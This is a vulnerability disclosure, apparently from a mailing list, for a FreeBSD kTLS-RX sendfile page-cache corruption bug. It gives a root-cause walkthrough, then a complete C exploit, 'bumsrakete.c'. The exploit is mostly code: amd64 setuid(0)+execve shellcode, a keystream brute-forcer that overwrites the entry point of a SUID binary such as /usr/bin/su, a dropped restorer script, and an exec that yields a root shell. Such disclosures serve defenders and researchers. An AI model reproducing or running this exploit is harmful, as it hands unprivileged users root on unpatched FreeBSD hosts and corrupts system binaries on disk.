## Summary

An unprivileged local user on a default FreeBSD >= 13.0 system (any
PMAP_HAS_DMAP architecture: amd64, arm64, riscv) can write
attacker-influenced bytes into the page-cache page of any file they can
*read*. The write reaches the backing physical page through the kernel
direct map (DMAP) and never traverses the VFS layer, so it bypasses file
permissions, mount options, and `chflags schg`. This yields a reliable
local privilege escalation (shellcode injection into a SUID-root binary)
and persistent on-disk corruption on UFS.

It is the FreeBSD analogue of Linux's Dirty Pipe. Tracked as
CVE-2026-45257 / FreeBSD-SA-26:26.kTLS.

## Website (Of course, it's a LPE bug!)
https://bumsrake.de

## Merchandise
Sold out! Sorry! :(

## Affected versions

Vulnerable (verified or by inspection):
  - FreeBSD 13.0, 13.1, 13.2, 13.3, 13.4
  - FreeBSD 14.0, 14.1, 14.2
  - FreeBSD 15.0-RELEASE (verified on 15.0-RELEASE-p5/amd64)

Not affected:
  - FreeBSD 12.x and earlier

Preconditions are the stock GENERIC defaults: kern.ipc.mb_use_ext_pgs=1
(the boot-time default on every PMAP_HAS_DMAP arch) and a kernel built
with MK_KERN_TLS (default). No extra module, sysctl, hardware, or
privileged group is required. The vulnerable path was introduced around
2020 (commit 3c0e56850511) and first shipped in 13.0 (April 2021).

## Root cause

The bug is page-cache corruption via an attacker-influenced in-kernel
AES-GCM decrypt running in place over M_EXTPG mbufs produced by
sendfile(2). Three individually-correct subsystems compose unsafely:

  (1) sendfile(2) produces vnode-backed EXTPG mbufs.

      sys/kern/kern_sendfile.c:963
          m0 = mb_alloc_ext_pgs(M_WAITOK, sendfile_free_mext_pg, M_RDONLY);

      m_epg_pa[] then holds the physical addresses of the file's actual
      page-cache pages.

  (2) TCP_RXTLS_ENABLE performs no privilege check.

      sys/netinet/tcp_usrreq.c:2222
          case TCP_RXTLS_ENABLE:
              INP_WUNLOCK(inp);
              error = ktls_copyin_tls_enable(sopt, &tls);
              ...
              error = ktls_enable_rx(so, &tls);

      Any unprivileged user can enable software kTLS RX on a TCP socket
      they own and supply the AES-128-GCM key, salt, and rec_seq of their
      choice.

  (3) The decrypt runs in place against the page-cache page.

      sys/opencrypto/criov.c:273
          return (PHYS_TO_DMAP(m->m_epg_pa[i] + pgoff + skip));

      sys/crypto/aesni/aesni.c:599-605 (AES_GCM_decrypt, in==out)
      The "output buffer" is a DMAP pointer at the file's page-cache page;
      the plaintext is written there.

Because plaintext = ciphertext XOR keystream(K, IV), and both the
ciphertext (the file's existing bytes, delivered by sendfile) and K/IV
(the attacker's) are known, the attacker fully controls every byte
written into the page.

## The three incomplete guards

The kernel has three mechanisms that would normally prevent an EXTPG
mbuf from reaching an in-place decrypt; each is bypassable here:

  Guard 1 - mb_unmapped_compress (uipc_sockbuf.c:153, :1441):
    copies EXTPG bytes into a flat mbuf (kern_mbuf.c:859-897), but is
    gated on m_len <= MLEN (~224 on amd64). Sending records with a
    240-byte payload walks past it.

  Guard 2 - mb_unmapped_to_ext (ip_output.c:746): converts EXTPG chains
    when the outbound ifp lacks IFCAP_MEXTPG (true for loopback). But
    _mb_unmapped_to_ext (kern_mbuf.c:940-1077) does not copy bytes; it
    allocates an sf_buf per page, and on these architectures
    sf_buf_kva == PHYS_TO_DMAP(pa). The "mapped" mbuf still points at the
    same physical page.

  Guard 3 - sb_mark_notready (uipc_ktls.c:1183-1207): moves queued data
    from sb_mb into the kTLS decrypt queue sb_mtls with no M_EXTPG check
    at all.

## Exploitation

A rather stable (who would have thought) exploit (bumsrakete.c) is attached.

Flow: the attacker sendfile(2)s the target file into a TCP socket looped
back to itself (lo0), with TCP_RXTLS_ENABLE configured using its own
key/IV. lo0 lacks IFCAP_MEXTPG, so Guard 2 remaps (not copies) the EXTPG
onto the same physical page; the kTLS RX path then decrypts in place into
the page cache.

To produce a record whose on-wire ciphertext equals the file's current
bytes (so GMAC validates) while the decrypt yields chosen plaintext:

    compute_ks(key, salt, iv8, RECORD_W, ks);   /* AES-CTR keystream */
    for (i = 0; i < RECORD_W; i++)
        pt[i] = file_bytes[i] ^ ks[i];          /* so ct == file_bytes */
    gcm_encrypt(key, iv12, aad, sizeof aad,
                pt, RECORD_W, ct, tag);          /* valid tag for wire */

The PoC injects a 36-byte setuid(0)+execve("/bin/sh") shellcode into the
entry of /usr/bin/su (36 records) or any other suid binary, executes it
for the privilege gain, then restores the original bytes.
End-to-end LPE wall time is ~1.5s.

The target's schg,uarch flags do NOT prevent the overwrite and the
corruption persists to disk (UFS). The chflags schg bypass is a nice
bonus.

## Impact

- Local privilege escalation to root (default, reliable, no race).
- Arbitrary modification of any file the attacker can read, bypassing
  permissions, immutable flags, and read-only intent.
- Affects any multi-tenant FreeBSD deployment (jails, hosting,
  containers) with the default capability set.

## Mitigation

The vendor fix is FreeBSD-SA-26:26.kTLS. Subscribe to
freebsd-security-notifications@ and apply when available.

## Timeline

2026-05-13  Reported to [email protected]
2026-06-09  Advisory and patch published; this disclosure; merchandise sale

## Credit

Discovered, analyzed, and reported by Bumsrakete.
Responsibly disclosed to [email protected].

## References

- CVE-2026-45257
- FreeBSD-SA-26:26.kTLS
/*
 * bumsrakete.c — single-file FreeBSD kTLS-RX EXTPG LPE against suid binaries.
 *
 * Generic across su versions: parses the target ELF to locate the entry
 * point's file offset (works for both ET_EXEC and PIE/ET_DYN, and for any
 * PT_LOAD layout), then writes a 36-byte amd64 shellcode there via
 * cumulative-XOR multi-round writes and execs the SUID binary.
 *
 * Build:
 *     cc -O3 -march=native -maes -msse4.1 -o bumsrakete bumsrakete.c -lcrypto
 *
 * Run as an unprivileged user:
 *     ./bumsrakete                # defaults to /usr/bin/su
 *     ./bumsrakete /usr/bin/passwd
 *     ./bumsrakete /usr/bin/su /tmp/myshellcode.bin
 *
 * On success: drops a root shell via execve("/usr/bin/su") -> shellcode.
 *
 * The exploit modifies suid-binarie's page-cache (and, on UFS with the right
 * write-through state, may persist to disk).
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <sys/ktls.h>
#include <sys/endian.h>
#include <sys/ioctl.h>
#include <sys/elf64.h>
#include <sys/elf_common.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <crypto/cryptodev.h>
#include <wmmintrin.h>
#include <smmintrin.h>
#include <openssl/evp.h>
#include <openssl/rand.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <time.h>

#define KEY_LEN      16
#define SALT_LEN     4
#define EXPL_IV_LEN  8
#define TAG_LEN      16
#define TLS_HDR_LEN  5
#define RECORD_W     240   /* > MLEN(~224) so EXTPG bypasses mb_unmapped_compress */
#define STRIDE       1

/*
 * The shellcode execve's a small /bin/sh restorer that bumsrakete.c drops at this
 * path before corrupting the target binary.  The path is mode 0700, owned by
 * the exploiting user, created O_EXCL — only the user (and root) can write
 * to or execute it.  After the restorer rewrites the target binary's
 * original entry-point bytes from /tmp/.lpe_orig, it execs an interactive
 * /bin/sh and unlinks both helper files.
 *
 * Path must be exactly 8 bytes incl. NUL so it fits one movabs imm64.
 */
#define RESTORER_PATH "/tmp/.x"

/* Default payload: amd64 FreeBSD shellcode -- setuid(0); execve(RESTORER_PATH). */
static const uint8_t default_shellcode[] = {
	0x31, 0xff,                                   /* xor edi, edi    */
	0x31, 0xc0,                                   /* xor eax, eax    */
	0xb0, 0x17,                                   /* mov al, 23 (SYS_setuid) */
	0x0f, 0x05,                                   /* syscall         */
	0x31, 0xd2,                                   /* xor edx, edx    */
	0x52,                                         /* push rdx        */
	0x48, 0xb8, 0x2f, 0x74, 0x6d, 0x70, 0x2f,
	0x2e, 0x78, 0x00,                             /* movabs rax, "/tmp/.x\0" */
	0x50,                                         /* push rax        */
	0x48, 0x89, 0xe7,                             /* mov rdi, rsp    */
	0x52,                                         /* push rdx        */
	0x57,                                         /* push rdi        */
	0x48, 0x89, 0xe6,                             /* mov rsi, rsp    */
	0x31, 0xc0,                                   /* xor eax, eax    */
	0xb0, 0x3b,                                   /* mov al, 59 (SYS_execve) */
	0x0f, 0x05,                                   /* syscall         */
};

/* ========================== AES-NI primitives ============================ */

static inline __m128i aes128_assist(__m128i tmp, __m128i tmp2)
{
	__m128i tmp3;
	tmp2 = _mm_shuffle_epi32(tmp2, 0xff);
	tmp3 = _mm_slli_si128(tmp, 0x4);  tmp = _mm_xor_si128(tmp, tmp3);
	tmp3 = _mm_slli_si128(tmp3, 0x4); tmp = _mm_xor_si128(tmp, tmp3);
	tmp3 = _mm_slli_si128(tmp3, 0x4); tmp = _mm_xor_si128(tmp, tmp3);
	return _mm_xor_si128(tmp, tmp2);
}

static void aes128_expand(const uint8_t key[16], __m128i rk[11])
{
	__m128i t = _mm_loadu_si128((const __m128i *)key);
	rk[0] = t;
	rk[1] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x01)); t = rk[1];
	rk[2] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x02)); t = rk[2];
	rk[3] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x04)); t = rk[3];
	rk[4] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x08)); t = rk[4];
	rk[5] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x10)); t = rk[5];
	rk[6] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x20)); t = rk[6];
	rk[7] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x40)); t = rk[7];
	rk[8] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x80)); t = rk[8];
	rk[9] = aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x1b)); t = rk[9];
	rk[10]= aes128_assist(t, _mm_aeskeygenassist_si128(t, 0x36));
}

static inline __m128i aes128_encrypt_blk(const __m128i rk[11], __m128i in)
{
	__m128i x = _mm_xor_si128(in, rk[0]);
	x = _mm_aesenc_si128(x, rk[1]); x = _mm_aesenc_si128(x, rk[2]);
	x = _mm_aesenc_si128(x, rk[3]); x = _mm_aesenc_si128(x, rk[4]);
	x = _mm_aesenc_si128(x, rk[5]); x = _mm_aesenc_si128(x, rk[6]);
	x = _mm_aesenc_si128(x, rk[7]); x = _mm_aesenc_si128(x, rk[8]);
	x = _mm_aesenc_si128(x, rk[9]);
	return _mm_aesenclast_si128(x, rk[10]);
}

/* Brute-force (K, salt, iv8) so AES_K(salt || iv8 || ctr=2)[0] == want.
 * Expected 256 attempts.  Sub-millisecond per round on AES-NI hardware. */
static int find_kiv_1byte(uint8_t want, uint8_t key[KEY_LEN],
    uint8_t salt[SALT_LEN], uint8_t iv8[EXPL_IV_LEN])
{
	uint8_t blk[16];
	__m128i rk[11];
	if (RAND_bytes(key, KEY_LEN) != 1) return -1;
	if (RAND_bytes(salt, SALT_LEN) != 1) return -1;
	memcpy(blk, salt, 4);
	blk[12]=0; blk[13]=0; blk[14]=0; blk[15]=2;
	aes128_expand(key, rk);
	for (uint64_t counter = 0; counter < (uint64_t)1 << 20; counter++) {
		memcpy(blk + 4, &counter, 8);
		__m128i in  = _mm_loadu_si128((__m128i *)blk);
		__m128i out = aes128_encrypt_blk(rk, in);
		uint8_t got = (uint8_t)_mm_cvtsi128_si32(out);
		if (got == want) {
			memcpy(iv8, blk + 4, EXPL_IV_LEN);
			return 0;
		}
	}
	return -1;
}

/* Compute the first `n` bytes of AES-CTR keystream (ctr starts at 2). */
static void compute_ks(const uint8_t key[KEY_LEN], const uint8_t salt[SALT_LEN],
    const uint8_t iv8[EXPL_IV_LEN], int n, uint8_t *ks)
{
	__m128i rk[11];
	aes128_expand(key, rk);
	uint8_t blk[16];
	memcpy(blk, salt, 4);
	memcpy(blk + 4, iv8, 8);
	for (int i = 0; i * 16 < n; i++) {
		int ctr = 2 + i;
		blk[12]=(ctr>>24)&0xff; blk[13]=(ctr>>16)&0xff;
		blk[14]=(ctr>>8)&0xff;  blk[15]=ctr&0xff;
		__m128i in  = _mm_loadu_si128((__m128i *)blk);
		__m128i out = aes128_encrypt_blk(rk, in);
		uint8_t obytes[16];
		_mm_storeu_si128((__m128i *)obytes, out);
		int copy = (n - i*16 < 16) ? (n - i*16) : 16;
		memcpy(ks + i*16, obytes, copy);
	}
}

/* AES-128-GCM encrypt -> ct + tag (via OpenSSL EVP, which uses AES-NI under
 * the hood for the bulk transform but is convenient for the GMAC step). */
static int gcm_encrypt(const uint8_t key[KEY_LEN], const uint8_t iv12[12],
    const uint8_t *aad, int aad_len,
    const uint8_t *pt, int pt_len,
    uint8_t *ct_out, uint8_t tag_out[TAG_LEN])
{
	EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
	int outlen, final_len;
	if (!ctx) return -1;
	if (EVP_EncryptInit_ex(ctx, EVP_aes_128_gcm(), NULL, NULL, NULL) != 1) goto err;
	if (EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL) != 1) goto err;
	if (EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv12) != 1) goto err;
	if (aad_len > 0 && EVP_EncryptUpdate(ctx, NULL, &outlen, aad, aad_len) != 1) goto err;
	if (EVP_EncryptUpdate(ctx, ct_out, &outlen, pt, pt_len) != 1) goto err;
	if (EVP_EncryptFinal_ex(ctx, ct_out + outlen, &final_len) != 1) goto err;
	if (EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_GET_TAG, TAG_LEN, tag_out) != 1) goto err;
	EVP_CIPHER_CTX_free(ctx);
	return 0;
err:
	EVP_CIPHER_CTX_free(ctx);
	return -1;
}

static void build_aad(uint8_t aad[13], uint64_t seq, uint16_t plen)
{
	uint64_t s = htobe64(seq);
	uint16_t l = htons(plen);
	memcpy(aad, &s, 8);
	aad[8] = 0x17; aad[9] = 0x03; aad[10] = 0x03;
	memcpy(aad + 11, &l, 2);
}

/* ====================== loopback + per-round driver ====================== */

static int setup_loopback_pair(int *cfd_out, int *sfd_out)
{
	int lst, cl, sv, one = 1;
	struct sockaddr_in addr;
	socklen_t alen;
	lst = socket(AF_INET, SOCK_STREAM, 0);
	if (lst < 0) return -1;
	setsockopt(lst, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
	memset(&addr, 0, sizeof addr);
	addr.sin_family = AF_INET; addr.sin_len = sizeof addr;
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (bind(lst, (struct sockaddr *)&addr, sizeof addr) < 0) { close(lst); return -1; }
	if (listen(lst, 1) < 0) { close(lst); return -1; }
	alen = sizeof addr;
	getsockname(lst, (struct sockaddr *)&addr, &alen);
	cl = socket(AF_INET, SOCK_STREAM, 0);
	if (cl < 0) { close(lst); return -1; }
	if (connect(cl, (struct sockaddr *)&addr, sizeof addr) < 0) { close(lst); close(cl); return -1; }
	sv = accept(lst, NULL, NULL);
	close(lst);
	if (sv < 0) { close(cl); return -1; }
	*cfd_out = cl; *sfd_out = sv;
	return 0;
}

static int do_round(int ffd, off_t file_off,
    const uint8_t key[KEY_LEN], const uint8_t salt[SALT_LEN],
    const uint8_t iv[EXPL_IV_LEN], const uint8_t tag[TAG_LEN])
{
	int cfd = -1, sfd = -1;
	if (setup_loopback_pair(&cfd, &sfd) < 0) return -1;

	struct tls_enable en;
	memset(&en, 0, sizeof en);
	en.cipher_key = (void *)key;     en.cipher_key_len = KEY_LEN;
	en.iv = (void *)salt;            en.iv_len = SALT_LEN;
	en.cipher_algorithm = CRYPTO_AES_NIST_GCM_16;
	en.tls_vmajor = TLS_MAJOR_VER_ONE; en.tls_vminor = TLS_MINOR_VER_TWO;
	if (setsockopt(sfd, IPPROTO_TCP, TCP_RXTLS_ENABLE, &en, sizeof en) < 0) {
		close(cfd); close(sfd); return -1;
	}

	uint8_t hdr[TLS_HDR_LEN + EXPL_IV_LEN];
	hdr[0]=0x17; hdr[1]=0x03; hdr[2]=0x03;
	uint16_t reclen = htons(EXPL_IV_LEN + RECORD_W + TAG_LEN);
	memcpy(hdr + 3, &reclen, 2);
	memcpy(hdr + TLS_HDR_LEN, iv, EXPL_IV_LEN);

	struct iovec hi = { .iov_base = hdr,         .iov_len = sizeof hdr };
	struct iovec ti = { .iov_base = (void *)tag, .iov_len = TAG_LEN };
	struct sf_hdtr hdtr = { .headers = &hi, .hdr_cnt = 1,
	                        .trailers = &ti, .trl_cnt = 1 };
	off_t sent = 0;
	if (sendfile(ffd, cfd, file_off, RECORD_W, &hdtr, &sent, 0) < 0) {
		close(cfd); close(sfd); return -1;
	}

	struct pollfd pfd = { .fd = sfd, .events = POLLIN };
	(void)poll(&pfd, 1, 1000);
	uint8_t recv_buf[1024]; char cbuf[128];
	struct msghdr msg = {0};
	struct iovec riov = { .iov_base = recv_buf, .iov_len = sizeof recv_buf };
	msg.msg_iov = &riov; msg.msg_iovlen = 1;
	msg.msg_control = cbuf; msg.msg_controllen = sizeof cbuf;
	ssize_t got = recvmsg(sfd, &msg, MSG_DONTWAIT);
	close(cfd); close(sfd);
	return (got > 0) ? 0 : -1;
}

/* ============================= ELF parsing ============================== */

/* Returns the file offset of the entry point, or -1 on error.  Works for
 * both ET_EXEC and ET_DYN (PIE), and for any number of PT_LOAD segments. */
static off_t elf_entry_file_offset(int fd, uint64_t *entry_vaddr_out)
{
	Elf64_Ehdr eh;
	if (pread(fd, &eh, sizeof eh, 0) != (ssize_t)sizeof eh) return -1;
	if (memcmp(eh.e_ident, ELFMAG, SELFMAG) != 0) return -1;
	if (eh.e_ident[EI_CLASS] != ELFCLASS64) return -1;
	if (eh.e_type != ET_EXEC && eh.e_type != ET_DYN) return -1;

	uint64_t e_entry = eh.e_entry;
	if (entry_vaddr_out) *entry_vaddr_out = e_entry;

	for (uint16_t i = 0; i < eh.e_phnum; i++) {
		Elf64_Phdr ph;
		off_t phoff = (off_t)eh.e_phoff + (off_t)i * eh.e_phentsize;
		if (pread(fd, &ph, sizeof ph, phoff) != (ssize_t)sizeof ph) return -1;
		if (ph.p_type != PT_LOAD) continue;
		if (e_entry >= ph.p_vaddr &&
		    e_entry <  ph.p_vaddr + ph.p_memsz)
			return (off_t)ph.p_offset + (off_t)(e_entry - ph.p_vaddr);
	}
	return -1;
}

/* =============================== driver ================================= */

static double now_secs(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec * 1e-9;
}

/* Convert a numeric st_flags value to chflags(1)-compatible comma-separated
 * keyword form (e.g. 0x20800 -> "schg,uarch").  Falls back to "0" if no
 * recognized flags are set so the resulting chflags invocation clears the
 * fileinstead of leaving it unchanged. */
static void flags_to_keywords(uint32_t f, char *buf, size_t buflen)
{
	buf[0] = 0;
	struct { uint32_t bit; const char *kw; } map[] = {
		{ 0x00000001, "nodump"  }, { 0x00000002, "uchg"   },
		{ 0x00000004, "uappnd"  }, { 0x00000008, "opaque" },
		{ 0x00000010, "uunlnk"  }, { 0x00000020, "usystem"},
		{ 0x00000040, "sparse"  }, { 0x00000080, "offline"},
		{ 0x00000100, "reparse" }, { 0x00000200, "urdonly"},
		{ 0x00008000, "hidden"  }, { 0x00000800, "uarch"  },
		{ 0x00010000, "arch"    }, { 0x00020000, "schg"   },
		{ 0x00040000, "sappnd"  }, { 0x00100000, "snapshot"},
		{ 0x00200000, "sunlnk"  },
	};
	for (size_t i = 0; i < sizeof map / sizeof map[0]; i++) {
		if (f & map[i].bit) {
			if (buf[0]) strlcat(buf, ",", buflen);
			strlcat(buf, map[i].kw, buflen);
		}
	}
	if (!buf[0]) strlcpy(buf, "0", buflen);
}

/* Write a small /bin/sh restorer script to RESTORER_PATH.  It dd's the saved
 * original bytes back over the target binary's entry-point region, restores
 * the file's chflags state, removes its own traces, and execs an interactive
 * /bin/sh — all running as root (the SUID-derived euid the shellcode just
 * promoted to ruid via setuid(0)).
 *
 * The corruption window is the WHOLE span actually touched by the chain of
 * sendfile-decrypt rounds = (N-1)*STRIDE + RECORD_W bytes, not just the N
 * controlled shellcode bytes — every record's 240-byte payload is XORed
 * with a fresh keystream and leaves random bytes after the last controlled
 * position.  We save and restore the full span. */
static int write_restorer(const char *target, off_t entry_off, int sc_len,
    int span, uint32_t orig_flags, const uint8_t *orig_bytes)
{
	int fd = open("/tmp/.lpe_orig",
	    O_WRONLY | O_CREAT | O_TRUNC, 0600);
	if (fd < 0) { perror("open .lpe_orig"); return -1; }
	if (write(fd, orig_bytes, span) != span) {
		perror("write .lpe_orig"); close(fd); return -1;
	}
	close(fd);

	/* O_EXCL: fail if the path already exists, preventing another user
	 * from squatting on /tmp/.x and tricking root into running their
	 * code. */
	int rfd = open(RESTORER_PATH,
	    O_WRONLY | O_CREAT | O_TRUNC | O_EXCL, 0700);
	if (rfd < 0) {
		fprintf(stderr,
		    "[-] open(" RESTORER_PATH "): %s — remove it and retry\n",
		    strerror(errno));
		return -1;
	}
	FILE *f = fdopen(rfd, "w");
	if (!f) { perror("fdopen"); close(rfd); return -1; }
	char flag_kw[128];
	flags_to_keywords(orig_flags, flag_kw, sizeof flag_kw);
	fprintf(f,
	    "#!/bin/sh\n"
	    "# restorer dropped by bumsrakete.c\n"
	    "chflags 0 '%s' 2>/dev/null\n"
	    "dd if=/tmp/.lpe_orig of='%s' bs=1 seek=%lld count=%d "
	        "conv=notrunc 2>/dev/null\n"
	    "chflags %s '%s' 2>/dev/null\n"
	    "rm -f /tmp/.lpe_orig " RESTORER_PATH "\n"
	    "echo '[+] %s restored (%d bytes at offset %lld, flags=%s), root shell:'\n"
	    "id\n"
	    "exec /bin/sh -i\n",
	    target, target,
	    (long long)entry_off, span,
	    flag_kw, target,
	    target, span, (long long)entry_off, flag_kw);
	fclose(f);
	/* Re-tighten in case the umask widened it; redundant with O_EXCL 0700
	 * above but defends against fdopen quirks. */
	(void)chmod(RESTORER_PATH, 0700);
	return 0;
}

int main(int argc, char **argv)
{
	setvbuf(stdout, NULL, _IONBF, 0);

	const char *target = (argc >= 2) ? argv[1] : "/usr/bin/su";
	const uint8_t *sc = default_shellcode;
	size_t sc_len = sizeof default_shellcode;
	uint8_t sc_buf[4096];

	if (argc >= 3) {
		int sfd = open(argv[2], O_RDONLY);
		if (sfd < 0) { perror("open shellcode"); return 1; }
		ssize_t n = read(sfd, sc_buf, sizeof sc_buf);
		close(sfd);
		if (n <= 0) { fprintf(stderr, "shellcode empty\n"); return 1; }
		sc = sc_buf; sc_len = (size_t)n;
	}

	printf("[+] FreeBSD kTLS-RX EXTPG LPE — target=%s, shellcode=%zu bytes\n",
	    target, sc_len);
	printf("[+] running as ");
	fflush(stdout);
	if (system("id") != 0) {/* ignore */}

	int ffd = open(target, O_RDONLY);
	if (ffd < 0) { perror("open target"); return 1; }

	uint64_t entry_vaddr;
	off_t entry_off = elf_entry_file_offset(ffd, &entry_vaddr);
	if (entry_off < 0) {
		fprintf(stderr, "[-] could not parse ELF / find entry point\n");
		return 1;
	}
	printf("[+] entry vaddr=0x%llx, file offset=0x%llx\n",
	    (unsigned long long)entry_vaddr, (unsigned long long)entry_off);

	struct stat st;
	if (fstat(ffd, &st) != 0) { perror("fstat"); return 1; }
	uint32_t orig_flags = st.st_flags;
	printf("[+] current st_flags=0x%x (preserved for restore)\n", orig_flags);

	int N = (int)sc_len;
	int total_span = (N - 1) * STRIDE + RECORD_W;
	uint8_t *page = calloc(1, total_span);
	if (!page) { fprintf(stderr, "oom\n"); return 1; }
	if (pread(ffd, page, total_span, entry_off) != total_span) {
		fprintf(stderr, "[-] short read of %d bytes at offset 0x%llx\n",
		    total_span, (unsigned long long)entry_off);
		return 1;
	}
	printf("[+] orig bytes at entry: ");
	for (int i = 0; i < 16 && i < N; i++) printf("%02x ", page[i]);
	printf("...\n");

	/* Stage the restorer script + original bytes BEFORE corrupting the
	 * target.  The shellcode execve's RESTORER_PATH after setuid(0). */
	if (write_restorer(target, entry_off, N, total_span,
	    orig_flags, page) != 0)
		return 1;
	printf("[+] restorer staged at " RESTORER_PATH
	    " (will dd %d bytes from /tmp/.lpe_orig back at offset %lld)\n",
	    total_span, (long long)entry_off);

	double t0 = now_secs();
	for (int k = 0; k < N; k++) {
		uint8_t want = page[k * STRIDE] ^ sc[k];

		uint8_t key[KEY_LEN], salt[SALT_LEN], iv[EXPL_IV_LEN];
		if (find_kiv_1byte(want, key, salt, iv) != 0) {
			fprintf(stderr, "[-] round %d brute force failed\n", k);
			return 1;
		}

		/* Compute the full keystream and apply it to our in-memory copy. */
		uint8_t ks[RECORD_W], pt[RECORD_W], ct[RECORD_W], tag[TAG_LEN];
		compute_ks(key, salt, iv, RECORD_W, ks);
		for (int i = 0; i < RECORD_W; i++) {
			ct[i] = page[k * STRIDE + i];
			pt[i] = ct[i] ^ ks[i];
		}
		uint8_t iv12[12]; memcpy(iv12, salt, 4); memcpy(iv12 + 4, iv, 8);
		uint8_t aad[13]; build_aad(aad, 0, RECORD_W);
		uint8_t ct_check[RECORD_W];
		if (gcm_encrypt(key, iv12, aad, sizeof aad,
		    pt, RECORD_W, ct_check, tag) != 0) {
			fprintf(stderr, "[-] gcm round %d failed\n", k); return 1;
		}
		if (memcmp(ct_check, ct, RECORD_W) != 0) {
			fprintf(stderr, "[-] tag sanity fail round %d\n", k); return 1;
		}
		for (int i = 0; i < RECORD_W; i++) page[k * STRIDE + i] ^= ks[i];

		if (do_round(ffd, entry_off + k * STRIDE, key, salt, iv, tag) < 0) {
			fprintf(stderr, "[-] do_round %d failed\n", k); return 1;
		}

		if ((k & 7) == 0 || k == N - 1)
			printf("[+] round %2d/%d   page[%d]=%02x\n",
			    k + 1, N, k * STRIDE, page[k * STRIDE]);
	}
	printf("[+] all %d rounds done in %.2fs\n", N, now_secs() - t0);

	uint8_t after[64];
	if (pread(ffd, after, sizeof after, entry_off) == sizeof after) {
		printf("[+] post-corruption entry bytes: ");
		for (int i = 0; i < (int)sc_len && i < (int)sizeof after; i++)
			printf("%02x ", after[i]);
		printf("\n");
	}
	close(ffd);

	printf("[+] executing %s — shellcode runs at entry, setuid(0)+execve(/bin/sh)\n",
	    target);
	fflush(stdout);
	execl(target, target, (char *)NULL);
	perror("execl");
	return 1;
}

Reply via email to